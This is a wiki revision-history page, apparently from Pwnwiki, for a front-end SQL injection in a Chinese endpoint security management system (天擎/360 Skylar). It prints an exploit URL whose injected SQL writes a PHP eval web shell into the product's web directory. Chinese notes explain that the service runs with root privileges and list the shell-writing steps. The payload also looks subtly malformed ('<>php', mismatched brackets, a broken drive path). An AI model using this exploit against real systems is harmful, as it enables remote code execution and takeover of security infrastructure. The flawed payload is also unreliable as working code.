Pwnwiki: Marked this version for translation

2021-04-08T04:28:18Z

Marked this version for translation

Pwnwiki: Created page with " ==EXP==

 https://127.0.0.1:8843/api/dp/rptsvcsyncpoint?ccid=1';create table O(TEXT);insert into O(T) values('<>php @eval($_POST[1];?>)');copy O(T) to 'C"\P..."

2021-04-08T04:28:06Z

Created page with "<languages /> ==EXP== <pre> https://127.0.0.1:8843/api/dp/rptsvcsyncpoint?ccid=1';create table O(TEXT);insert into O(T) values('<>php @eval($_POST[1];?>)');copy O(T) to 'C"\P..."

New page

<languages />
==EXP==
<pre>
https://127.0.0.1:8843/api/dp/rptsvcsyncpoint?ccid=1';create table O(TEXT);insert into O(T) values('<>php @eval($_POST[1];?>)');copy O(T) to 'C"\Program Files(x86)\360\skylar6\www\1.php';drop table O;--
</pre>

<translate>
==漏洞信息==
</translate>

<translate>
1.通過安裝包安裝的程序一般擁有ROOT權限，因此該注入點可嘗試寫入Shell

2.通過注入點，創建一張表 <code>O</code>

3.爲表<code>O</code>添加一個新字段<code>T</code>並且寫入Shell內容
</translate>

終端安全管理系統（天擎）前端SQL注入漏洞 - Revision history

Pwnwiki: Marked this version for translation

Pwnwiki: Created page with " ==EXP==
https://127.0.0.1:8843/api/dp/rptsvcsyncpoint?ccid=1';create table O(TEXT);insert into O(T) values('<>php @eval($_POST[1];?>)');copy O(T) to 'C"\P..."

@@ Line 6: / Line 6: @@
 <translate>
-==漏洞信息==
+==漏洞信息== <!--T:1-->
 </translate>
 <translate>
 .通過安裝包安裝的程序一般擁有ROOT權限，因此該注入點可嘗試寫入Shell
 .通過注入點，創建一張表 <code>O</code>
 .爲表<code>O</code>添加一個新字段<code>T</code>並且寫入Shell內容
 </translate>